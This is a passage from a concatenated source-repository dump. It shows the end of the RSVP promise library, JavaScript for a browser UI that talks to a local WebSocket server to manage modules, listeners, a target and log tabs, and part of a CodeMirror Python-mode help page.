var Promise = __dependency1__["default"];
__exports__["default"] = function race(array, label) {
return Promise.race(array, label);
};
});
define("rsvp/reject",
["./promise","exports"],
function(__dependency1__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
__exports__["default"] = function reject(reason, label) {
return Promise.reject(reason, label);
};
});
define("rsvp/resolve",
["./promise","exports"],
function(__dependency1__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
__exports__["default"] = function resolve(value, label) {
return Promise.resolve(value, label);
};
});
define("rsvp/rethrow",
["exports"],
function(__exports__) {
"use strict";
/**
`RSVP.rethrow` will rethrow an error on the next turn of the JavaScript event
loop in order to aid debugging.
Promises A+ specifies that any exceptions that occur with a promise must be
caught by the promises implementation and bubbled to the last handler. For
this reason, it is recommended that you always specify a second rejection
handler function to `then`. However, `RSVP.rethrow` will throw the exception
outside of the promise, so it bubbles up to your console if in the browser,
or domain/cause uncaught exception in Node. `rethrow` will throw the error
again so the error can be handled by the promise.
```javascript
function throws(){
throw new Error('Whoops!');
}
var promise = new RSVP.Promise(function(resolve, reject){
throws();
});
promise.catch(RSVP.rethrow).then(function(){
// Code here doesn't run because the promise became rejected due to an
// error!
}, function (err){
// handle the error here
});
```
The 'Whoops' error will be thrown on the next turn of the event loop
and you can watch for it in your console. You can also handle it using a
rejection handler given to `.then` or `.catch` on the returned promise.
@method rethrow
@for RSVP
@param {Error} reason reason the promise became rejected.
@throws Error
*/
__exports__["default"] = function rethrow(reason) {
setTimeout(function() {
throw reason;
});
throw reason;
};
});
define("rsvp/utils",
["exports"],
function(__exports__) {
"use strict";
function objectOrFunction(x) {
return typeof x === "function" || (typeof x === "object" && x !== null);
}
__exports__.objectOrFunction = objectOrFunction;function isFunction(x) {
return typeof x === "function";
}
__exports__.isFunction = isFunction;function isNonThenable(x) {
return !objectOrFunction(x);
}
__exports__.isNonThenable = isNonThenable;function isArray(x) {
return Object.prototype.toString.call(x) === "[object Array]";
}
__exports__.isArray = isArray;// Date.now is not available in browsers < IE9
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now#Compatibility
var now = Date.now || function() { return new Date().getTime(); };
__exports__.now = now;
var keysOf = Object.keys || function(object) {
var result = [];
for (var prop in object) {
result.push(prop);
}
return result;
};
__exports__.keysOf = keysOf;
});
define("rsvp",
["./rsvp/promise","./rsvp/events","./rsvp/node","./rsvp/all","./rsvp/all_settled","./rsvp/race","./rsvp/hash","./rsvp/rethrow","./rsvp/defer","./rsvp/config","./rsvp/map","./rsvp/resolve","./rsvp/reject","./rsvp/asap","./rsvp/filter","exports"],
function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __dependency10__, __dependency11__, __dependency12__, __dependency13__, __dependency14__, __dependency15__, __exports__) {
"use strict";
var Promise = __dependency1__["default"];
var EventTarget = __dependency2__["default"];
var denodeify = __dependency3__["default"];
var all = __dependency4__["default"];
var allSettled = __dependency5__["default"];
var race = __dependency6__["default"];
var hash = __dependency7__["default"];
var rethrow = __dependency8__["default"];
var defer = __dependency9__["default"];
var config = __dependency10__.config;
var configure = __dependency10__.configure;
var map = __dependency11__["default"];
var resolve = __dependency12__["default"];
var reject = __dependency13__["default"];
var asap = __dependency14__["default"];
var filter = __dependency15__["default"];
config.async = asap; // default async is asap;
function async(callback, arg) {
config.async(callback, arg);
}
function on() {
config.on.apply(config, arguments);
}
function off() {
config.off.apply(config, arguments);
}
// Set up instrumentation through `window.__PROMISE_INTRUMENTATION__`
if (typeof window !== 'undefined' && typeof window.__PROMISE_INSTRUMENTATION__ === 'object') {
var callbacks = window.__PROMISE_INSTRUMENTATION__;
configure('instrument', true);
for (var eventName in callbacks) {
if (callbacks.hasOwnProperty(eventName)) {
on(eventName, callbacks[eventName]);
}
}
}
__exports__.Promise = Promise;
__exports__.EventTarget = EventTarget;
__exports__.all = all;
__exports__.allSettled = allSettled;
__exports__.race = race;
__exports__.hash = hash;
__exports__.rethrow = rethrow;
__exports__.defer = defer;
__exports__.denodeify = denodeify;
__exports__.configure = configure;
__exports__.on = on;
__exports__.off = off;
__exports__.resolve = resolve;
__exports__.reject = reject;
__exports__.async = async;
__exports__.map = map;
__exports__.filter = filter;
});
global.RSVP = requireModule('rsvp');
}(window));
================================================
FILE: ui/js/serverCommands.js
================================================
function ServerCommandsHandler() {
this.commands = {
"on_listener_message": this.onListenerMessage,
"on_module_message": this.onModuleMessage,
"on_error": this.onError,
"on_info": this.onInfo,
"hello": this.onHello,
"on_callback": this.onCallback
};
this.statuses = [];
};
ServerCommandsHandler.prototype = {
parseAndExecuteMessage: function (message) {
var parsed = JSON.parse(message);
var command = parsed["command"];
var args = parsed["args"];
var uuid = parsed.uuid;
if (!command)
return
this.commands[command](args, uuid);
},
onCallback: function (args, uuid) {
serverCommandsHandler.fireCustomEvent(uuid, args);
$(document).unbind(uuid);
},
onListenerMessage: function (args) {
serverCommandsHandler.fireCustomEvent("on_listener_message", args);
},
onModuleMessage: function (args) {
serverCommandsHandler.fireCustomEvent("on_module_message", args);
},
onHello: function (args) {
serverCommandsHandler.fireCustomEvent("hello", args);
},
onError: function (args) {
toastr.error(args.message, 'Error', {timeOut: 5000});
},
onInfo: function (args) {
toastr.info(args.message);
},
fireCustomEvent: function (event_type, data) {
$.event.trigger({
type: event_type,
args: data
});
}
};
serverCommandsHandler = new ServerCommandsHandler();
================================================
FILE: ui/js/ws.js
================================================
// window.onbeforeunload = function() {
// websocketHandler.websocket.onclose = function () {}; // disable onclose handler first
// websocketHandler.websocket.close();
// };
commonData = {
version: '',
modules: [],
tabs: [],
target: "",
selectedModule: {},
serverEnabled: true,
serviceMessages: []
};
var WebsocketHandler= function() {
this.connectionString = 'ws://'+window.location.hostname+':49999/';
this.websocket = new WebSocket(this.connectionString);
this.websocket.onopen = this.onOpen;
this.websocket.onclose = this.onClose;
this.websocket.onmessage = this.onMessage;
this.websocket.onerror = this.onError;
};
WebsocketHandler.prototype = {
initData: function (evt) {
commonData.serverEnabled = true;
var hello = function() {
var promise = new RSVP.Promise(function(resolve, reject) {
guiCommandsHandler.hello(function(res) {
resolve(res);
})
})
return promise;
};
var getAllData = function() {
var promise = new RSVP.Promise(function(resolve, reject) {
guiCommandsHandler.getAllData(function(res) {
resolve(res.args);
})
});
return promise;
};
// Gets modules names, version, etc
var getModulesLog = function() {
var promise = new RSVP.Promise(function(resolve, reject) {
guiCommandsHandler.getModulesLog(function(res) {
resolve(res.args);
})
});
return promise;
}
return hello()
.then(function(res) {
return getAllData();
})
.then(function(args) {
_.extend(commonData, args);
return getModulesLog();
})
.then(function(args) {
var tabsData = _.map(args, function(value, key) {
return {
title: key,
content: _.map(value.message, function(message) {
if (message.type == 'image')
message.message = 'data:image/jpg;base64,' + message.message;
return message;
}),
active: false,
useListener: _.size(value.listener) > 0,
listenerMessages: value.listener ? value.listener.message : "",
listenerState: value.listener ? value.listener.connected : 0,
state: value.state
}
});
if (tabsData.length) {
tabsData[0].active = true;
}
_.extend(commonData, {tabs: tabsData});
})
},
onOpen: function(evt) {
toastr.info('Connection to server succeeded');
websocketHandler.initData(evt);
},
onClose: function(evt) {
commonData.serverEnabled = false;
toastr.error('Websocket server is unavailable');
console.log("Close")
},
onMessage: function(evt) {
// console.log(evt.data);
serverCommandsHandler.parseAndExecuteMessage(evt.data);
},
onError: function(evt) {
commonData.serverEnabled = false;
websocketHandler.websocket.close();
},
doSend: function(message) {
websocketHandler.websocket.send(JSON.stringify(message));
},
reconnect: function(){
websocketHandler.websocket.close();
websocketHandler.websocket = new WebSocket(this.connectionString);
websocketHandler.websocket.onopen = this.onOpen;
websocketHandler.websocket.onclose = this.onClose;
websocketHandler.websocket.onmessage = this.onMessage;
websocketHandler.websocket.onerror = this.onError;
}
}
websocketHandler = new WebsocketHandler();
function doSend(message, callback){
message.uuid = genUUID4();
bindEvent(message.uuid, callback);
websocketHandler.doSend(message);
}
function bindEvent(event_type, callback) {
$(document).unbind(event_type);
$(document).on(event_type, callback);
}
================================================
FILE: ui/mode/python/index.html
================================================
CodeMirror: Python mode
version - 2/3 - The version of Python to recognize. Default is 2.
singleLineStringErrors - true/false - If you have a single-line string that is not terminated at the end of the line, this will show subsequent lines as errors if true, otherwise it will consider the newline as the end of the string. Default is false.
hangingIndent - int - If you want to write long arguments to a function starting on a new line, how much that line should be indented. Defaults to one normal indentation unit.
Advanced Configuration Options:
Usefull for superset of python syntax like Enthought enaml, IPython magics and questionmark help
singleOperators - RegEx - Regular Expression for single operator matching, default :
^[\\+\\-\\*/%&|\\^~<>!]
including
@
on Python 3
singleDelimiters - RegEx - Regular Expression for single delimiter matching, default :